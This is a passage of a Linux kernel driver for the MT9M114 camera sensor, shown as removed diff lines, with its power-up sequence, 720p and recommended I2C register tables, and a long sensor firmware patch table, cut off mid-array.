PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - */ -#include "msm_sensor.h" -#include "msm_cci.h" -#include "msm_camera_io_util.h" -#define MT9M114_SENSOR_NAME "mt9m114" -#define PLATFORM_DRIVER_NAME "msm_camera_mt9m114" -#define mt9m114_obj mt9m114_##obj - -/*#define CONFIG_MSMB_CAMERA_DEBUG*/ -#undef CDBG -#ifdef CONFIG_MSMB_CAMERA_DEBUG -#define CDBG(fmt, args...) pr_err(fmt, ##args) -#else -#define CDBG(fmt, args...) do { } while (0) -#endif - -/* Sysctl registers */ -#define MT9M114_COMMAND_REGISTER 0x0080 -#define MT9M114_COMMAND_REGISTER_APPLY_PATCH (1 << 0) -#define MT9M114_COMMAND_REGISTER_SET_STATE (1 << 1) -#define MT9M114_COMMAND_REGISTER_REFRESH (1 << 2) -#define MT9M114_COMMAND_REGISTER_WAIT_FOR_EVENT (1 << 3) -#define MT9M114_COMMAND_REGISTER_OK (1 << 15) - -DEFINE_MSM_MUTEX(mt9m114_mut); -static struct msm_sensor_ctrl_t mt9m114_s_ctrl; - -static struct msm_sensor_power_setting mt9m114_power_setting[] = { - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VIO, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VDIG, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_VREG, - .seq_val = CAM_VANA, - .config_val = 0, - .delay = 0, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_LOW, - .delay = 1, - }, - { - .seq_type = SENSOR_GPIO, - .seq_val = SENSOR_GPIO_RESET, - .config_val = GPIO_OUT_HIGH, - .delay = 30, - }, - { - .seq_type = SENSOR_CLK, - .seq_val = SENSOR_CAM_MCLK, - .config_val = 0, - .delay = 100, - }, - { - .seq_type = SENSOR_I2C_MUX, - .seq_val = 0, - .config_val = 0, - .delay = 0, - }, -}; - -static struct msm_camera_i2c_reg_conf mt9m114_720p_settings[] = { - {0xdc00, 0x50, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_WRITE}, - {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, - MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, - {MT9M114_COMMAND_REGISTER, (MT9M114_COMMAND_REGISTER_OK | - MT9M114_COMMAND_REGISTER_SET_STATE), MSM_CAMERA_I2C_WORD_DATA, - MSM_CAMERA_I2C_CMD_WRITE}, - {MT9M114_COMMAND_REGISTER, MT9M114_COMMAND_REGISTER_SET_STATE, - MSM_CAMERA_I2C_UNSET_WORD_MASK, MSM_CAMERA_I2C_CMD_POLL}, - {0xDC01, 0x52, MSM_CAMERA_I2C_BYTE_DATA, MSM_CAMERA_I2C_CMD_POLL}, - - {0x098E, 0, MSM_CAMERA_I2C_BYTE_DATA}, - {0xC800, 0x007C,},/*y_addr_start = 124*/ - {0xC802, 0x0004,},/*x_addr_start = 4*/ - {0xC804, 0x0353,},/*y_addr_end = 851*/ - {0xC806, 0x050B,},/*x_addr_end = 1291*/ - {0xC808, 0x02DC,},/*pixclk = 48000000*/ - {0xC80A, 0x6C00,},/*pixclk = 48000000*/ - {0xC80C, 0x0001,},/*row_speed = 1*/ - {0xC80E, 0x00DB,},/*fine_integ_time_min = 219*/ - {0xC810, 0x05BD,},/*fine_integ_time_max = 1469*/ - {0xC812, 0x03E8,},/*frame_length_lines = 1000*/ - {0xC814, 0x0640,},/*line_length_pck = 1600*/ - {0xC816, 0x0060,},/*fine_correction = 96*/ - {0xC818, 0x02D3,},/*cpipe_last_row = 723*/ - {0xC826, 0x0020,},/*reg_0_data = 32*/ - {0xC834, 0x0000,},/*sensor_control_read_mode = 0*/ - {0xC854, 0x0000,},/*crop_window_xoffset = 0*/ - {0xC856, 0x0000,},/*crop_window_yoffset = 0*/ - {0xC858, 0x0500,},/*crop_window_width = 1280*/ - {0xC85A, 0x02D0,},/*crop_window_height = 720*/ - {0xC85C, 0x03, MSM_CAMERA_I2C_BYTE_DATA}, /*crop_cropmode = 3*/ - {0xC868, 0x0500,},/*output_width = 1280*/ - {0xC86A, 0x02D0,},/*output_height = 720*/ - {0xC878, 0x00, MSM_CAMERA_I2C_BYTE_DATA}, /*aet_aemode = 0*/ - {0xC88C, 0x1E00,},/*aet_max_frame_rate = 7680*/ - {0xC88E, 0x1E00,},/*aet_min_frame_rate = 7680*/ - {0xC914, 0x0000,},/*stat_awb_window_xstart = 0*/ - {0xC916, 0x0000,},/*stat_awb_window_ystart = 0*/ - {0xC918, 0x04FF,},/*stat_awb_window_xend = 1279*/ - {0xC91A, 0x02CF,},/*stat_awb_window_yend = 719*/ - {0xC91C, 0x0000,},/*stat_ae_window_xstart = 0*/ - {0xC91E, 0x0000,},/*stat_ae_window_ystart = 0*/ - {0xC920, 0x00FF,},/*stat_ae_window_xend = 255*/ - {0xC922, 0x008F,},/*stat_ae_window_yend = 143*/ -}; - -static struct msm_camera_i2c_reg_conf mt9m114_recommend_settings[] = { - {0x301A, 0x0200, MSM_CAMERA_I2C_SET_WORD_MASK}, - {0x098E, 0, MSM_CAMERA_I2C_BYTE_DATA}, - /*cam_sysctl_pll_enable = 1*/ - {0xC97E, 0x01, MSM_CAMERA_I2C_BYTE_DATA}, - /*cam_sysctl_pll_divider_m_n = 288*/ - {0xC980, 0x0120,}, - /*cam_sysctl_pll_divider_p = 1792*/ - {0xC982, 0x0700,}, - /*output_control = 32769*/ - {0xC984, 0x8001,}, - /*mipi_timing_t_hs_zero = 3840*/ - {0xC988, 0x0F00,}, - /*mipi_timing_t_hs_exit_hs_trail = 2823*/ - {0xC98A, 0x0B07,}, - /*mipi_timing_t_clk_post_clk_pre = 3329*/ - {0xC98C, 0x0D01,}, - /*mipi_timing_t_clk_trail_clk_zero = 1821*/ - {0xC98E, 0x071D,}, - /*mipi_timing_t_lpx = 6*/ - {0xC990, 0x0006,}, - /*mipi_timing_init_timing = 2572*/ - {0xC992, 0x0A0C,}, - {0xC800, 0x007C,},/*y_addr_start = 124*/ - {0xC802, 0x0004,},/*x_addr_start = 4*/ - {0xC804, 0x0353,},/*y_addr_end = 851*/ - {0xC806, 0x050B,},/*x_addr_end = 1291*/ - {0xC808, 0x02DC,},/*pixclk = 48000000*/ - {0xC80A, 0x6C00,},/*pixclk = 48000000*/ - {0xC80C, 0x0001,},/*row_speed = 1*/ - {0xC80E, 0x00DB,},/*fine_integ_time_min = 219*/ - {0xC810, 0x05BD,},/*fine_integ_time_max = 1469*/ - {0xC812, 0x03E8,},/*frame_length_lines = 1000*/ - {0xC814, 0x0640,},/*line_length_pck = 1600*/ - {0xC816, 0x0060,},/*fine_correction = 96*/ - {0xC818, 0x02D3,},/*cpipe_last_row = 723*/ - {0xC826, 0x0020,},/*reg_0_data = 32*/ - {0xC834, 0x0000,},/*sensor_control_read_mode = 0*/ - {0xC854, 0x0000,},/*crop_window_xoffset = 0*/ - {0xC856, 0x0000,},/*crop_window_yoffset = 0*/ - {0xC858, 0x0500,},/*crop_window_width = 1280*/ - {0xC85A, 0x02D0,},/*crop_window_height = 720*/ - {0xC85C, 0x03, MSM_CAMERA_I2C_BYTE_DATA}, /*crop_cropmode = 3*/ - {0xC868, 0x0500,},/*output_width = 1280*/ - {0xC86A, 0x02D0,},/*output_height = 720*/ - {0xC878, 0x00, MSM_CAMERA_I2C_BYTE_DATA}, /*aet_aemode = 0*/ - {0xC88C, 0x1E00,},/*aet_max_frame_rate = 7680*/ - {0xC88E, 0x1E00,},/*aet_min_frame_rate = 7680*/ - {0xC914, 0x0000,},/*stat_awb_window_xstart = 0*/ - {0xC916, 0x0000,},/*stat_awb_window_ystart = 0*/ - {0xC918, 0x04FF,},/*stat_awb_window_xend = 1279*/ - {0xC91A, 0x02CF,},/*stat_awb_window_yend = 719*/ - {0xC91C, 0x0000,},/*stat_ae_window_xstart = 0*/ - {0xC91E, 0x0000,},/*stat_ae_window_ystart = 0*/ - {0xC920, 0x00FF,},/*stat_ae_window_xend = 255*/ - {0xC922, 0x008F,},/*stat_ae_window_yend = 143*/ - - /*Sensor optimization*/ - {0x316A, 0x8270,}, - {0x316C, 0x8270,}, - {0x3ED0, 0x2305,}, - {0x3ED2, 0x77CF,}, - {0x316E, 0x8202,}, - {0x3180, 0x87FF,}, - {0x30D4, 0x6080,}, - {0xA802, 0x0008,},/*AE_TRACK_MODE*/ - {0x3E14, 0xFF39,}, - {0x0982, 0x0001,},/*ACCESS_CTL_STAT*/ - {0x098A, 0x5000,},/*PHYSICAL_ADDRESS_ACCESS*/ - {0xD000, 0x70CF,}, - {0xD002, 0xFFFF,}, - {0xD004, 0xC5D4,}, - {0xD006, 0x903A,}, - {0xD008, 0x2144,}, - {0xD00A, 0x0C00,}, - {0xD00C, 0x2186,}, - {0xD00E, 0x0FF3,}, - {0xD010, 0xB844,}, - {0xD012, 0xB948,}, - {0xD014, 0xE082,}, - {0xD016, 0x20CC,}, - {0xD018, 0x80E2,}, - {0xD01A, 0x21CC,}, - {0xD01C, 0x80A2,}, - {0xD01E, 0x21CC,}, - {0xD020, 0x80E2,}, - {0xD022, 0xF404,}, - {0xD024, 0xD801,}, - {0xD026, 0xF003,}, - {0xD028, 0xD800,}, - {0xD02A, 0x7EE0,}, - {0xD02C, 0xC0F1,}, - {0xD02E, 0x08BA,}, - {0xD030, 0x0600,}, - {0xD032, 0xC1A1,}, - {0xD034, 0x76CF,}, - {0xD036, 0xFFFF,}, - {0xD038, 0xC130,}, - {0xD03A, 0x6E04,}, - {0xD03C, 0xC040,}, - {0xD03E, 0x71CF,}, - {0xD040, 0xFFFF,}, - {0xD042, 0xC790,}, - {0xD044, 0x8103,}, - {0xD046, 0x77CF,}, - {0xD048, 0xFFFF,}, - {0xD04A, 0xC7C0,}, - {0xD04C, 0xE001,}, - {0xD04E, 0xA103,}, - {0xD050, 0xD800,}, - {0xD052, 0x0C6A,}, - {0xD054, 0x04E0,}, - {0xD056, 0xB89E,}, - {0xD058, 0x7508,}, - {0xD05A, 0x8E1C,}, - {0xD05C, 0x0809,}, - {0xD05E, 0x0191,}, - {0xD060, 0xD801,}, - {0xD062, 0xAE1D,}, - {0xD064, 0xE580,}, - {0xD066, 0x20CA,}, - {0xD068, 0x0022,}, - {0xD06A, 0x20CF,}, - {0xD06C, 0x0522,}, - {0xD06E, 0x0C5C,}, - {0xD070, 0x04E2,}, - {0xD072, 0x21CA,}, - {0xD074, 0x0062,}, - {0xD076, 0xE580,}, - {0xD078, 0xD901,}, - {0xD07A, 0x79C0,}, - {0xD07C, 0xD800,}, - {0xD07E, 0x0BE6,}, - {0xD080, 0x04E0,}, - {0xD082, 0xB89E,}, - {0xD084, 0x70CF,}, - {0xD086, 0xFFFF,}, - {0xD088, 0xC8D4,}, - {0xD08A, 0x9002,}, - {0xD08C, 0x0857,}, - {0xD08E, 0x025E,}, - {0xD090, 0xFFDC,}, - {0xD092, 0xE080,}, - {0xD094, 0x25CC,}, - {0xD096, 0x9022,}, - {0xD098, 0xF225,}, - {0xD09A, 0x1700,}, - {0xD09C, 0x108A,}, - {0xD09E, 0x73CF,}, - {0xD0A0, 0xFF00,}, - {0xD0A2, 0x3174,}, - {0xD0A4, 0x9307,}, - {0xD0A6, 0x2A04,}, - {0xD0A8, 0x103E,}, - {0xD0AA, 0x9328,}, - {0xD0AC, 0x2942,}, - {0xD0AE, 0x7140,}, - {0xD0B0, 0x2A04,}, - {0xD0B2, 0x107E,}, - {0xD0B4, 0x9349,}, - {0xD0B6, 0x2942,}, - {0xD0B8, 0x7141,}, - {0xD0BA, 0x2A04,}, - {0xD0BC, 0x10BE,}, - {0xD0BE, 0x934A,}, - {0xD0C0, 0x2942,}, - {0xD0C2, 0x714B,}, - {0xD0C4, 0x2A04,}, - {0xD0C6, 0x10BE,}, - {0xD0C8, 0x130C,}, - {0xD0CA, 0x010A,}, - {0xD0CC, 0x2942,}, - {0xD0CE, 0x7142,}, - {0xD0D0, 0x2250,}, - {0xD0D2, 0x13CA,}, - {0xD0D4, 0x1B0C,}, - {0xD0D6, 0x0284,}, - {0xD0D8, 0xB307,}, - {0xD0DA, 0xB328,}, - {0xD0DC, 0x1B12,}, - {0xD0DE, 0x02C4,}, - {0xD0E0, 0xB34A,}, - {0xD0E2, 0xED88,}, - {0xD0E4, 0x71CF,}, - {0xD0E6, 0xFF00,}, - {0xD0E8, 0x3174,}, - {0xD0EA, 0x9106,}, - {0xD0EC, 0xB88F,}, - {0xD0EE, 0xB106,}, - {0xD0F0, 0x210A,}, - {0xD0F2, 0x8340,}, - {0xD0F4, 0xC000,}, - {0xD0F6, 0x21CA,}, - {0xD0F8, 0x0062,}, - {0xD0FA, 0x20F0,}, - {0xD0FC, 0x0040,}, - {0xD0FE, 0x0B02,}, - {0xD100, 0x0320,}, - {0xD102, 0xD901,}, - {0xD104, 0x07F1,}, - {0xD106, 0x05E0,}, - {0xD108, 0xC0A1,}, - {0xD10A, 0x78E0,}, - {0xD10C, 0xC0F1,}, - {0xD10E, 0x71CF,}, - {0xD110, 0xFFFF,}, - {0xD112, 0xC7C0,}, - {0xD114, 0xD840,}, - {0xD116, 0xA900,}, - {0xD118, 0x71CF,}, - {0xD11A, 0xFFFF,}, - {0xD11C, 0xD02C,}, - {0xD11E, 0xD81E,}, - {0xD120, 0x0A5A,}, - {0xD122, 0x04E0,}, - {0xD124, 0xDA00,}, - {0xD126, 0xD800,}, - {0xD128, 0xC0D1,}, - {0xD12A, 0x7EE0,}, - {0x098E, 0x0000,}, - - {0x0982, 0x0001,}, - {0x098A, 0x5C10,}, - {0xDC10, 0xC0F1,}, - {0xDC12, 0x0CDA,}, - {0xDC14, 0x0580,}, - {0xDC16, 0x76CF,}, - {0xDC18, 0xFF00,}, - {0xDC1A, 0x2184,}, - {0xDC1C, 0x9624,}, - {0xDC1E, 0x218C,}, - {0xDC20, 0x8FC3,}, - {0xDC22, 0x75CF,}, - {0xDC24, 0xFFFF,}, - {0xDC26, 0xE058,}, - {0xDC28, 0xF686,}, - {0xDC2A, 0x1550,}, - {0xDC2C, 0x1080,}, - {0xDC2E, 0xE001,}, - {0xDC30, 0x1D50,}, - {0xDC32, 0x1002,}, - {0xDC34, 0x1552,}, - {0xDC36, 0x1100,}, - {0xDC38, 0x6038,}, - {0xDC3A, 0x1D52,}, - {0xDC3C, 0x1004,}, - {0xDC3E, 0x1540,}, - {0xDC40, 0x1080,}, - {0xDC42, 0x081B,}, - {0xDC44, 0x00D1,}, - {0xDC46, 0x8512,}, - {0xDC48, 0x1000,}, - {0xDC4A, 0x00C0,}, - {0xDC4C, 0x7822,}, - {0xDC4E, 0x2089,}, - {0xDC50, 0x0FC1,}, - {0xDC52, 0x2008,}, - {0xDC54, 0x0F81,}, - {0xDC56, 0xFFFF,}, - {0xDC58, 0xFF80,}, - {0xDC5A, 0x8512,}, - {0xDC5C, 0x1801,}, - {0xDC5E, 0x0052,}, - {0xDC60, 0xA512,}, - {0xDC62, 0x1544,}, - {0xDC64, 0x1080,}, - {0xDC66, 0xB861,}, - {0xDC68, 0x262F,}, - {0xDC6A, 0xF007,}, - {0xDC6C, 0x1D44,}, - {0xDC6E, 0x1002,}, - {0xDC70, 0x20CA,}, - {0xDC72, 0x0021,}, - {0xDC74, 0x20CF,}, - {0xDC76, 0x04E1,}, - {0xDC78, 0x0850,}, - {0xDC7A, 0x04A1,}, - {0xDC7C, 0x21CA,}, - {0xDC7E, 0x0021,}, - {0xDC80, 0x1542,}, - {0xDC82, 0x1140,}, - {0xDC84, 0x8D2C,}, - {0xDC86, 0x6038,}, - {0xDC88, 0x1D42,}, - {0xDC8A, 0x1004,}, - {0xDC8C, 0x1542,}, - {0xDC8E, 0x1140,}, - {0xDC90, 0xB601,}, - {0xDC92, 0x046D,}, - {0xDC94, 0x0580,}, - {0xDC96, 0x78E0,}, - {0xDC98, 0xD800,}, - {0xDC9A, 0xB893,}, - {0xDC9C, 0x002D,}, - {0xDC9E, 0x04A0,}, - {0xDCA0, 0xD900,}, - {0xDCA2, 0x78E0,}, - {0xDCA4, 0x72CF,}, - {0xDCA6, 0xFFFF,}, - {0xDCA8, 0xE058,}, - {0xDCAA, 0x2240,}, - {0xDCAC, 0x0340,}, - {0xDCAE, 0xA212,}, - {0xDCB0, 0x208A,}, - {0xDCB2, 0x0FFF,}, - {0xDCB4, 0x1A42,}, - {0xDCB6, 0x0004,}, - {0xDCB8, 0xD830,}, - {0xDCBA, 0x1A44,}, - {0xDCBC, 0x0002,}, - {0xDCBE, 0xD800,}, - {0xDCC0, 0x1A50,}, - {0xDCC2, 0x0002,}, - {0xDCC4, 0x1A52,}, - {0xDCC6, 0x0004,}, - {0xDCC8, 0x1242,}, - {0xDCCA, 0x0140,}, - {0xDCCC, 0x8A2C,}, - {0xDCCE, 0x6038,}, - {0xDCD0, 0x1A42,}, - {0xDCD2, 0x0004,}, - {0xDCD4, 0x1242,}, - {0xDCD6, 0x0141,}, - {0xDCD8, 0x70CF,}, - {0xDCDA, 0xFF00,}, - {0xDCDC, 0x2184,}, - {0xDCDE, 0xB021,}, - {0xDCE0, 0xD800,}, - {0xDCE2, 0xB893,}, - {0xDCE4, 0x07E5,}, - {0xDCE6, 0x0460,}, - {0xDCE8, 0xD901,}, - {0xDCEA, 0x78E0,}, - {0xDCEC, 0xC0F1,}, - {0xDCEE, 0x0BFA,}, - {0xDCF0, 0x05A0,}, - {0xDCF2, 0x216F,}, - {0xDCF4, 0x0043,}, - {0xDCF6, 0xC1A4,}, - {0xDCF8, 0x220A,}, - {0xDCFA, 0x1F80,}, - {0xDCFC, 0xFFFF,}, - {0xDCFE, 0xE058,}, - {0xDD00, 0x2240,}, - {0xDD02, 0x134F,}, - {0xDD04, 0x1A48,}, - {0xDD06, 0x13C0,}, - {0xDD08, 0x1248,}, - {0xDD0A, 0x1002,}, - {0xDD0C, 0x70CF,}, - {0xDD0E, 0x7FFF,}, - {0xDD10, 0xFFFF,}, - {0xDD12, 0xE230,}, - {0xDD14, 0xC240,}, - {0xDD16, 0xDA00,}, - {0xDD18, 0xF00C,}, - {0xDD1A, 0x1248,}, - {0xDD1C, 0x1003,}, - {0xDD1E, 0x1301,}, - {0xDD20, 0x04CB,}, - {0xDD22, 0x7261,}, - {0xDD24, 0x2108,}, - {0xDD26, 0x0081,}, - {0xDD28, 0x2009,}, - {0xDD2A, 0x0080,}, - {0xDD2C, 0x1A48,}, - {0xDD2E, 0x10C0,}, - {0xDD30, 0x1248,}, - {0xDD32, 0x100B,}, - {0xDD34, 0xC300,}, - {0xDD36, 0x0BE7,}, - {0xDD38, 0x90C4,}, - {0xDD3A, 0x2102,}, - {0xDD3C, 0x0003,}, - {0xDD3E, 0x238C,}, - {0xDD40, 0x8FC3,}, - {0xDD42, 0xF6C7,}, - {0xDD44, 0xDAFF,}, - {0xDD46, 0x1A05,}, - {0xDD48, 0x1082,}, - {0xDD4A, 0xC241,}, - {0xDD4C, 0xF005,}, - {0xDD4E, 0x7A6F,}, - {0xDD50, 0xC241,}, - {0xDD52, 0x1A05,}, - {0xDD54, 0x10C2,}, - {0xDD56, 0x2000,}, - {0xDD58, 0x8040,}, - {0xDD5A, 0xDA00,}, - {0xDD5C, 0x20C0,}, - {0xDD5E, 0x0064,}, - {0xDD60, 0x781C,}, - {0xDD62, 0xC042,}, - {0xDD64, 0x1C0E,}, - {0xDD66, 0x3082,}, - {0xDD68, 0x1A48,}, - {0xDD6A, 0x13C0,}, - {0xDD6C, 0x7548,}, - {0xDD6E, 0x7348,}, - {0xDD70, 0x7148,}, - {0xDD72, 0x7648,}, - {0xDD74, 0xF002,}, - {0xDD76, 0x7608,}, - {0xDD78, 0x1248,}, - {0xDD7A, 0x1000,}, - {0xDD7C, 0x1400,}, - {0xDD7E, 0x300B,}, - {0xDD80, 0x084D,}, - {0xDD82, 0x02C5,}, - {0xDD84, 0x1248,}, - {0xDD86, 0x1000,}, - {0xDD88, 0xE101,}, - {0xDD8A, 0x1001,}, - {0xDD8C, 0x04CB,}, - {0xDD8E, 0x1A48,}, - {0xDD90, 0x1000,}, - {0xDD92, 0x7361,}, - {0xDD94, 0x1408,}, - {0xDD96, 0x300B,}, - {0xDD98, 0x2302,}, - {0xDD9A, 0x02C0,}, - {0xDD9C, 0x780D,}, - {0xDD9E, 0x2607,}, - {0xDDA0, 0x903E,}, - {0xDDA2, 0x07D6,}, - {0xDDA4, 0xFFE3,}, - {0xDDA6, 0x792F,}, - {0xDDA8, 0x09CF,}, - {0xDDAA, 0x8152,}, - {0xDDAC, 0x1248,}, - {0xDDAE, 0x100E,}, - {0xDDB0, 0x2400,}, - {0xDDB2, 0x334B,}, - {0xDDB4, 0xE501,}, - {0xDDB6, 0x7EE2,}, - {0xDDB8, 0x0DBF,}, - {0xDDBA, 0x90F2,}, - {0xDDBC, 0x1B0C,}, - {0xDDBE, 0x1382,}, - {0xDDC0, 0xC123,}, - {0xDDC2, 0x140E,}, - {0xDDC4, 0x3080,}, - {0xDDC6, 0x7822,}, - {0xDDC8, 0x1A07,}, - {0xDDCA, 0x1002,}, - {0xDDCC, 0x124C,}, - {0xDDCE, 0x1000,}, - {0xDDD0, 0x120B,}, - {0xDDD2, 0x1081,}, - {0xDDD4, 0x1207,}, - {0xDDD6, 0x1083,}, - {0xDDD8, 0x2142,}, - {0xDDDA, 0x004B,}, - {0xDDDC, 0x781B,}, - {0xDDDE, 0x0B21,}, - {0xDDE0, 0x02E2,}, - {0xDDE2, 0x1A4C,}, - {0xDDE4, 0x1000,}, - {0xDDE6, 0xE101,}, - {0xDDE8, 0x0915,}, - {0xDDEA, 0x00C2,}, - {0xDDEC, 0xC101,}, - {0xDDEE, 0x1204,}, - {0xDDF0, 0x1083,}, - {0xDDF2, 0x090D,}, - {0xDDF4, 0x00C2,}, - {0xDDF6, 0xE001,}, - {0xDDF8, 0x1A4C,}, - {0xDDFA, 0x1000,}, - {0xDDFC, 0x1A06,}, - {0xDDFE, 0x1002,}, - {0xDE00, 0x234A,}, - {0xDE02, 0x1000,}, - {0xDE04, 0x7169,}, - {0xDE06, 0xF008,}, - {0xDE08, 0x2053,}, - {0xDE0A, 0x0003,}, - {0xDE0C, 0x6179,}, - {0xDE0E, 0x781C,}, - {0xDE10, 0x2340,}, - {0xDE12, 0x104B,}, - {0xDE14, 0x1203,}, - {0xDE16, 0x1083,}, - {0xDE18, 0x0BF1,}, - {0xDE1A, 0x90C2,}, - {0xDE1C, 0x1202,}, - {0xDE1E, 0x1080,}, - {0xDE20, 0x091D,}, - {0xDE22, 0x0004,}, - {0xDE24, 0x70CF,}, - {0xDE26, 0xFFFF,}, - {0xDE28, 0xC644,}, - {0xDE2A, 0x881B,}, - {0xDE2C, 0xE0B2,}, - {0xDE2E, 0xD83C,}, - {0xDE30, 0x20CA,}, - {0xDE32, 0x0CA2,}, - {0xDE34, 0x1A01,}, - {0xDE36, 0x1002,}, - {0xDE38, 0x1A4C,}, - {0xDE3A, 0x1080,}, - {0xDE3C, 0x02B9,}, - {0xDE3E, 0x05A0,}, - {0xDE40, 0xC0A4,}, - {0xDE42, 0x78E0,}, - {0xDE44, 0xC0F1,}, - {0xDE46, 0xFF95,}, - {0xDE48, 0xD800,}, - {0xDE4A, 0x71CF,}, - {0xDE4C, 0xFF00,}, - {0xDE4E, 0x1FE0,}, - {0xDE50, 0x19D0,}, - {0xDE52, 0x001C,}, - {0xDE54, 0x19D1,}, - {0xDE56, 0x001C,}, - {0xDE58, 0x70CF,}, - {0xDE5A, 0xFFFF,}, - {0xDE5C, 0xE058,}, - {0xDE5E, 0x901F,}, - {0xDE60, 0xB861,}, - {0xDE62, 0x19D2,}, - {0xDE64, 0x001C,}, - {0xDE66, 0xC0D1,}, - {0xDE68, 0x7EE0,}, - {0xDE6A, 0x78E0,}, - {0xDE6C, 0xC0F1,}, - {0xDE6E, 0x0A7A,}, - {0xDE70, 0x0580,}, - {0xDE72, 0x70CF,}, - {0xDE74, 0xFFFF,}, - {0xDE76, 0xC5D4,}, - {0xDE78, 0x9041,}, - {0xDE7A, 0x9023,}, - {0xDE7C, 0x75CF,}, - {0xDE7E, 0xFFFF,}, - {0xDE80, 0xE058,}, - {0xDE82, 0x7942,}, - {0xDE84, 0xB967,}, - {0xDE86, 0x7F30,}, - {0xDE88, 0xB53F,}, - {0xDE8A, 0x71CF,}, - {0xDE8C, 0xFFFF,}, - {0xDE8E, 0xC84C,}, - {0xDE90, 0x91D3,}, - {0xDE92, 0x108B,}, - {0xDE94, 0x0081,}, - {0xDE96, 0x2615,}, - {0xDE98, 0x1380,}, - {0xDE9A, 0x090F,}, - {0xDE9C, 0x0C91,}, - {0xDE9E, 0x0A8E,}, - {0xDEA0, 0x05A0,}, - {0xDEA2, 0xD906,}, - {0xDEA4, 0x7E10,}, - {0xDEA6, 0x2615,}, - {0xDEA8, 0x1380,}, - {0xDEAA, 0x0A82,}, - {0xDEAC, 0x05A0,}, - {0xDEAE, 0xD960,}, - {0xDEB0, 0x790F,}, - {0xDEB2, 0x090D,}, - {0xDEB4, 0x0133,}, - {0xDEB6, 0xAD0C,}, - {0xDEB8, 0xD904,}, - {0xDEBA, 0xAD2C,}, - {0xDEBC, 0x79EC,}, - {0xDEBE, 0x2941,}, - {0xDEC0, 0x7402,}, - {0xDEC2, 0x71CF,}, - {0xDEC4, 0xFF00,}, - {0xDEC6, 0x2184,}, - {0xDEC8, 0xB142,}, - {0xDECA, 0x1906,}, - {0xDECC, 0x0E44,}, - {0xDECE, 0xFFDE,}, - {0xDED0, 0x70C9,}, - {0xDED2, 0x0A5A,}, - {0xDED4, 0x05A0,}, - {0xDED6, 0x8D2C,}, - {0xDED8, 0xAD0B,}, - {0xDEDA, 0xD800,}, - {0xDEDC, 0xAD01,}, - {0xDEDE, 0x0219,}, - {0xDEE0, 0x05A0,}, - {0xDEE2, 0xA513,}, - {0xDEE4, 0xC0F1,}, - {0xDEE6, 0x71CF,}, - {0xDEE8, 0xFFFF,}, - {0xDEEA, 0xC644,}, - {0xDEEC, 0xA91B,}, - {0xDEEE, 0xD902,}, - {0xDEF0, 0x70CF,}, - {0xDEF2, 0xFFFF,}, - {0xDEF4, 0xC84C,}, - {0xDEF6, 0x093E,}, - {0xDEF8, 0x03A0,}, - {0xDEFA, 0xA826,}, - {0xDEFC, 0xFFDC,}, - {0xDEFE, 0xF1B5,}, - {0xDF00, 0xC0F1,}, - {0xDF02, 0x09EA,}, - {0xDF04, 0x0580,}, - {0xDF06, 0x75CF,}, - {0xDF08, 0xFFFF,}, - {0xDF0A, 0xE058,}, - {0xDF0C, 0x1540,}, - {0xDF0E, 0x1080,}, - {0xDF10, 0x08A7,}, - {0xDF12, 0x0010,}, - {0xDF14, 0x8D00,}, - {0xDF16, 0x0813,}, - {0xDF18, 0x009E,}, - {0xDF1A, 0x1540,}, - {0xDF1C, 0x1081,}, - {0xDF1E, 0xE181,}, - {0xDF20, 0x20CA,}, - {0xDF22, 0x00A1,}, - {0xDF24, 0xF24B,}, - {0xDF26, 0x1540,}, - {0xDF28, 0x1081,}, - {0xDF2A, 0x090F,}, - {0xDF2C, 0x0050,}, - {0xDF2E, 0x1540,}, - {0xDF30, 0x1081,}, - {0xDF32, 0x0927,}, - {0xDF34, 0x0091,}, - {0xDF36, 0x1550,}, - {0xDF38, 0x1081,}, - {0xDF3A, 0xDE00,}, - {0xDF3C, 0xAD2A,}, - {0xDF3E, 0x1D50,}, - {0xDF40, 0x1382,}, - {0xDF42, 0x1552,}, - {0xDF44, 0x1101,}, - {0xDF46, 0x1D52,}, - {0xDF48, 0x1384,}, - {0xDF4A, 0xB524,}, - {0xDF4C, 0x082D,}, - {0xDF4E, 0x015F,}, - {0xDF50, 0xFF55,}, - {0xDF52, 0xD803,}, - {0xDF54, 0xF033,}, - {0xDF56, 0x1540,}, - {0xDF58, 0x1081,}, - {0xDF5A, 0x0967,}, - {0xDF5C, 0x00D1,}, - {0xDF5E, 0x1550,}, - {0xDF60, 0x1081,}, - {0xDF62, 0xDE00,}, - {0xDF64, 0xAD2A,}, - {0xDF66, 0x1D50,}, - {0xDF68, 0x1382,}, - {0xDF6A, 0x1552,}, - {0xDF6C, 0x1101,}, - {0xDF6E, 0x1D52,}, - {0xDF70, 0x1384,}, - {0xDF72, 0xB524,}, - {0xDF74, 0x0811,}, - {0xDF76, 0x019E,}, - {0xDF78, 0xB8A0,}, - {0xDF7A, 0xAD00,}, - {0xDF7C, 0xFF47,}, - {0xDF7E, 0x1D40,}, - {0xDF80, 0x1382,}, - {0xDF82, 0xF01F,}, - {0xDF84, 0xFF5A,}, - {0xDF86, 0x8D01,}, - {0xDF88, 0x8D40,}, - {0xDF8A, 0xE812,}, - {0xDF8C, 0x71CF,}, - {0xDF8E, 0xFFFF,}, - {0xDF90, 0xC644,}, - {0xDF92, 0x893B,}, - {0xDF94, 0x7030,}, - {0xDF96, 0x22D1,}, - {0xDF98, 0x8062,}, - {0xDF9A, 0xF20A,}, - {0xDF9C, 0x0A0F,}, - {0xDF9E, 0x009E,}, - {0xDFA0, 0x71CF,}, - {0xDFA2, 0xFFFF,}, - {0xDFA4, 0xC84C,}, - {0xDFA6, 0x893B,}, - {0xDFA8, 0xE902,}, - {0xDFAA, 0xFFCF,}, - {0xDFAC, 0x8D00,}, - {0xDFAE, 0xB8E7,}, - {0xDFB0, 0x26CA,}, - {0xDFB2, 0x1022,}, - {0xDFB4, 0xF5E2,}, - {0xDFB6, 0xFF3C,}, - {0xDFB8, 0xD801,}, - {0xDFBA, 0x1D40,}, - {0xDFBC, 0x1002,}, - 